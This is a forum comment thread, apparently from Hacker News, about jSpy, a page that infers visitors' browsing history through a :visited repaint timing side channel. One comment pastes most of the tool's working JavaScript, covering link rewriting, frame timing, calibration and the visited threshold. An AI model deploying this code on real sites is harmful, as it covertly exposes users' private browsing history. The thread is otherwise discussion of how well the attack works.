jSpy: Automatically detect user's history

  • Here's a mirror: https://dl.dropboxusercontent.com/u/192234503/jspy/index.htm... I'm really sorry that my hosting's down.

  • For the curious, the source[1] mentions "Pixel Perfect Timing Attacks" by Paul Stone[2].

    [1]: https://dl.dropboxusercontent.com/u/192234503/jspy/scripts.j... [2]: https://media.blackhat.com/us-13/US-13-Stone-Pixel-Perfect-T...

  • This attack isn’t new – the first proof of concept I know of that worked well is from 2011: http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-o...

  • undefined

  • Unless I'm missing something, it doesn't collect your history but rather can test whether you have visited a URL before. While still a problem, it's certainly a different thing.

  • I run it in the Tint browser on Android and got Hacker News plus a few false positives, sites I never heard about and never been at (maybe some images included in other sites?). I got a much longer list of sites in Dolphin but that's my main Android browser. Again, many unknown sites but I can't remember or notice any random link I touch. I tried again with Chromium on Linux and got the cannot calibrate message. Firefox is my main browser and is not supported, luckily, let me add :-)

  • And I also made a jQuery plugin to make it easier to understand the code and also use it on websites. http://projects.milankragujevic.com/jquery.jspy/

  • Okay, so this is basically brute forcing against a kown list of websites. Not all that impressive IMO.

    Although you could possibly try to use this for a clickjacking attack, for instance if you detect amazon.com loading from cache.

  • This really didn't work at all. I'm using the latest stable Chrome on a Mac. Roughly 3/4 of the results (there's too many to bother counting) are sites I've never been to.

  • Chrome Question: How come on the Network tab on the Developer Tools window (F12) I cannot see any of the traffic to the hundreds of sites the browser is pinging to render into iframes?

  • I have extended the list to include 1065 sites + 2 calibration sites. It's also now much faster and much, much more accurate.

  • Doesn't work on chromium on linux, detected two sites that I've never been to, on a completely fresh install.

  • If you want to check the source code write in your console:

        var updateParams2 = updateParams;
        function (){debugger; updateParams2()};
    
    then click the button and step in. Here is a part of the source, hope the author doesn't mind about this:

        urls = [
        function initStats() {
            currentUrl = 0;
            start = NaN;
            counter = 0;
            posTimes = [];
            negTimes = [];
            if (stop) {
                stop = false;
                loop()
            }
        }
        function updateParams() {
            out.style.textShadow = "black 1px 1px 60px";
            out.style.opacity = "0.5";
            out.style.fontSize = "15px";
            textLines = (window.textlines ? window.textlines : 100);
            textLen = (window.textlen ? window.textlen : 5);
            write();
            resetLinks();
            initStats()
        }
        function write() {
            var c = "";
            var a = urls[currentUrl];
            var d = "";
            while (d.length < textLen) {
                d += "#"
            }
            for (var b = 0; b < textLines; b++) {
                c += "<a href=" + a;
                c += ">" + d;
                c += "</a> "
            }
            out.innerHTML = c
        }
        function updateLinks() {
            var a = urls[currentUrl];
            for (var b = 0; b < out.children.length; b++) {
                out.children[b].href = a;
                out.children[b].style.color = "red";
                out.children[b].style.color = ""
            }
        }
        function resetLinks() {
            for (var a = 0; a < out.children.length; a++) {
                out.children[a].href = "http://" + Math.random() + ".asd";
                out.children[a].style.color = "red";
                out.children[a].style.color = ""
            }
        }
        function median(b) {
            b.sort(function(e, d) {
                return e - d
            });
            if (b.length % 2) {
                var a = b.length / 2 - 0.5;
                return b[a]
            } else {
                var c = b[b.length / 2 - 1];
                c += b[b.length / 2];
                c = c / 2;
                return c
            }
        }
        function loop(c) {
            if (stop) {
                return
            }
            var d = (c - start) | 0;
            start = c;
            if (!isNaN(d)) {
                counter++;
                if (counter % 2 == 0) {
                    resetLinks();
                    if (counter > 4) {
                        if (currentUrl == 0) {
                            document.getElementById("nums").textContent = "Calibrating...";
                            posTimes.push(d);
                            timespans[currentUrl].textContent = posTimes.join(", ")
                        }
                        if (currentUrl == 1) {
                            negTimes.push(d);
                            timespans[currentUrl].textContent = negTimes.join(", ");
                            if (negTimes.length >= calibIters) {
                                var b = median(posTimes);
                                var a = median(negTimes);
                                if (b - a < 30) {
                                    if (window.textLines < 200) {
                                        window.textlines = textLines + 50;
                                        stop = true;
                                        updateParams()
                                    }
                                    stop = true;
                                    return
                                }
                                threshold = a + (b - a) * 0.75;
                                document.getElementById("nums").textContent = "Median Visited: " + b + "ms  / Median Unvisited: " + a + "ms / Threshold: " + threshold + "ms";
                                timeStart = Date.now()
                            }
                        }
                        if (currentUrl >= 2) {
                            timespans[currentUrl].textContent = d;
                            linkspans[currentUrl].className = (d >= threshold) ? "visited yes" : "visited";
                            if ((d >= threshold) == true) {
                                window.links.push(urls[currentUrl])
                            }
                            incUrl = true
                        }
                        currentUrl++;
                        if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters)) {
                            currentUrl = 0
                        }
                        if (currentUrl == urls.length) {
                            timeElapsed = (Date.now() - timeStart) / 1000;
                            document.getElementById("nums").innerHTML += "<br>Time elapsed: " + timeElapsed + "s, tested " + (((urls.length - 2) / timeElapsed) | 0) + " URLs/sec";
                            stop = true;
                            finishjSpy()
                        }
                        if (currentUrl > 2) {
                            $(".analyze_log").html(urls[currentUrl])
                        } else {
                            $(".analyze_log").html("Calibrating... ")
                        }
                        currentURLout.textContent = urls[currentUrl]
                    }
                } else {
                    updateLinks()
                }
            }
            requestAnimationFrame(loop)
        }
        function setupLinks() {
            window.links = [];
            var f = document.createElement("table");
            f.innerHTML = "<tr><th></th><th>URL</th><th>Times (ms)</th></tr>";
            f.className = "linklist";
            for (var e = 0; e < urls.length; e++) {
                var b = document.createElement("a");
                b.href = urls[e];
                b.textContent = urls[e];
                var h = document.createElement("span");
                h.className = "timings";
                var d = document.createElement("span");
                d.textContent = "\u2713";
                d.className = "visited";
                var g = document.createElement("tr");
                for (var c = 0; c < 3; c++) {
                    g.appendChild(document.createElement("td"))
                }
                g.cells[0].appendChild(d);
                g.cells[1].appendChild(b);
                g.cells[2].appendChild(h);
                f.appendChild(g);
                timespans[e] = h;
                linkspans[e] = d
            }
            document.getElementById("log").appendChild(f)
        }
        setupLinks();
        function initjSpy() {
            $(".loading").fadeIn()
        }
        function finishjSpy() {
            $(".loading").fadeOut();
            $.each(window.links, function(a, b) {
                $(".results ul").append("<li>" + b + "</li>")
            });
            $(".content").fadeOut();
            $(".jspy").remove();
            setTimeout(function() {
                $(".content").remove();
                $(".results").fadeIn()
            }, 500)
        }
        ;

  • Bandwidth limit. Any mirror?